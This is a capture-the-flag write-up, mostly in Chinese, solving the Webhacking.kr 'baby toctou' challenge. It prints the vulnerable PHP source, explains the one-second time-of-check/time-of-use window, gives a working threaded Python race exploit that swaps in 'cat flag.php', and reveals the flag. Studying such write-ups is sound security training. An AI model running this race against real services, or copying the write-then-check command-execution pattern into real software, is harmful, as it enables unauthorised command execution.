Webhacking.kr baby toctou

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10019/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_))

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 每次都把命令写进按 cookie 命名的脚本文件,而且先写文件、后校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(!preg_match('/^[a-f0-9]+$/', $_COOKIE['baby_toctou'])){
$newCookie = uniqid().rand(1,999999999);
setcookie("baby_toctou", $newCookie);
$_COOKIE['baby_toctou'] = $newCookie;
}
$cmd = $_GET['q'];
$myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
fwrite($myfile, $cmd);
fclose($myfile);
if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check
sleep(1); // my server is small and weak
system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
}
else{
echo 'only "ls", "cat api.php", "cat index.php" allowed';
}
?>

fwrite() 在校验之前执行,system() 在校验之后、并且隔着 sleep(1)。这 1 秒就是 TOCTOU 窗口:先发一个通过校验的请求,再在窗口内用同一个 cookie 发第二个被拒绝的请求覆写脚本文件,第一个请求醒来后执行的是第二个请求写进去的内容。

cookie 只需要满足 /^[a-f0-9]+$/,所以可以自己指定一个纯十六进制值固定住文件名,不必等 setcookie 分配。

Solution

两个请求必须共用同一个 baby_toctou cookie:第一个是校验通过的 q=ls,第二个在窗口内写 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import threading
import time

import requests

URL = "http://webhacking.kr:10019/api.php"
COOKIES = {"baby_toctou": "abc123abc123abc"}
PAYLOAD = "cat flag.php"

result = {}


def checked_request() -> None:
"""校验通过的那一发:写 ls、睡 1 秒、然后执行 user/<cookie>.sh。"""
response = requests.get(URL, params={"q": "ls"}, cookies=COOKIES, timeout=25)
result["out"] = response.text


def main() -> None:
worker = threading.Thread(target=checked_request)
worker.start()
time.sleep(0.25) # 落在 sleep(1) 窗口内
requests.get(URL, params={"q": PAYLOAD}, cookies=COOKIES, timeout=25)
worker.join()
print(result["out"])


if __name__ == "__main__":
main()

q=ls 那一发的响应里,system() 的输出已经被换成了 payload 的执行结果:

1
2
3
<?php
$flag = "FLAG{Mama_i_know_how_toctou_works}";
?>

payload 请求的响应是 only "ls", "cat api.php", "cat index.php" allowed,因为该请求只覆写文件,不执行命令。

复现边界:api.php 源码、白名单、写文件顺序、sleep(1) 窗口与 flag 均为现网实测;窗口是 1 秒,本机到该节点延迟约 40 ms,0.25 秒偏移一次命中,网络抖动时可在 0.1–0.6 秒之间重试。

FLAG{Mama_i_know_how_toctou_works}